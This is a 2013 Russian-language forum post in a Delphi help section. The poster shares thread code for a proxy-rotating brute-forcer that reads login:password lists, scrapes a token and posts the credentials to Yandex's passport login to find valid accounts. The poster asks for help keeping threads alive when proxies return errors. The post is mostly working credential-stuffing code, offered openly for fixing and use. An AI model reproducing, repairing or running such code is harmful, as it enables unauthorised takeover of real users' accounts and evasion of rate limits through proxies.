 |
Help me :) - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
24.01.2013, 18:04
|
#1
|
|
|
|
Пехотинец
|
 Регистрация: 02.04.2011
 Сообщений: 66
 Популярность: 9953
 Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
|
Help me :)
[Частичное решение ... но оно лажовое ;|]
Код:
if (http.ResultCode=403) or (http.ResultCode=500) then
begin
form1.sMemo1.Lines.Add('Реанимировали');
TNewThread.Create(false);
end;
//Потоки начинают быстро расти... и программа залагивает.. пробывал вынести в синхронайз, тоже самое
Добрый день.
Сначала приведу код, потом суть проблемы
Код потока
Код:
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TNewThread.Execute;
var CurAcc:integer;
curproxy:integer;
data:tstringstream;
Str:tstringlist;
Http:tHttpSend;
Stranisa,key:boolean;
f:tstringstream;
KeyRez:string;
reg:tregexpr;
user:integer;
useragent:string;
begin
while Work do
begin
CS.Enter;
inc(accproxy);
Inc(Acc);
if form1.scheckbox3.checked=true then
begin
if accproxy<proxy.Count then
begin
curProxy:=accproxy;
end
else
accproxy:=-1;
end;
if Acc<sourse.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if Work then
begin
if pos(':',Sourse[CurAcc])<>0 then
begin
FAcc := Copy(Sourse[CurAcc], 1, Pos(':', Sourse[CurAcc]) - 1);
FPas := Copy(Sourse[CurAcc], Pos(':', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));
end;
if pos(';',Sourse[CurAcc])<>0 then
begin
FAcc := Copy(Sourse[CurAcc], 1, Pos(';', Sourse[CurAcc]) - 1);
FPas := Copy(Sourse[CurAcc], Pos(';', Sourse[CurAcc]) + 1,length(Sourse[CurAcc]));
end;
Http:=tHTTPsend.Create;
reg:=tregexpr.Create;
if form1.scheckbox3.checked=true then
begin
fProxyip:= Copy(proxy[curProxy],1,Pos(':',proxy[curProxy])-1);
fProxyPort:= Copy(proxy[curProxy],Pos(':',proxy[curProxy])+1,Length(proxy[curProxy]));
http.ProxyHost:=fproxyip;
http.ProxyPort:=fproxyport ;
//form1.smemo1.lines.add(fproxyip+':'+fProxyPort);
end;
{Сам процесс перебора}
try
http.Protocol:='1.1';
http.headers.add('Accept: text/html, */*');
http.headers.add('Accept-Encoding: identity');
http.Timeout:=10000;
key:=http.HTTPMethod('GET','https://pda- passport.yandex.ru:443/passpot?mode=auth');
if pos('Transfer-Encoding: chunked',HTTP.Headers.Text)=0 then
begin
rez:=0;
end
else
begin
f:=tstringstream.create;
str:=tstringlist.create;
http.Document.SaveToStream(F);
str.Text := f.dataString;
str.Text := Utf8ToAnsi(str.Text);
keyRez:=str.Text;
f.Clear;
str.Clear;
reg.expression := (';idkey=(.*?)" class=');
if reg.exec(keyRez) then
begin
keyRez:=reg.Match[1];
end;
http.clear;
http.Protocol:='1.1';
http.mimetype:='application/x-www-form-urlencoded';
http.headers.add('Accept: text/html, */*');
http.headers.add('Referer: https://pda-passport.yandex.ru/passport?mode=auth');
http.headers.add('Accept-Language: ru-RU');
{Авторизуемся на yandex}
data:=tstringstream.create('login='+facc+'&passwd='+fpas+'×tamp=&idkey='+keyREZ);
HTTP.Document.LoadFromStream(Data);
http.Timeout:=10000;
HTTP.HTTPMethod('POST','https://pda-passport.yandex.ru:443/passport?mode=auth');
rez:=-1;
begin
if pos('Location',HTTP.Headers.Text) <> 0 then
begin
Rez:=1;
end;
end;
end;
except
//form1.sMemo1.Lines.Add('Вылетел поток')
end;
end;
f.free;
str.free;
reg.Free;
HTTP.Free;
data.free;
Synchronize(Sync)
end;
dec(Thread);
end;
При бруте со своего ип - все нормально
Начинаю брутить с прокси, брут продолжается до тех пор , пока не будет использована ошибочная прокси... если потоков 10 допустим и yandex ответил 403 то потоков становится 9 и тд...
как можно заставить его не вылетать при ошибках ? Очень прошу помощи т.к за....манался
Очень важно!!! Использю Синапс !!!
Скрин
Последний раз редактировалось =PaLeTiZaToR=; 24.01.2013 в 19:37.
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 07:58.
|
 |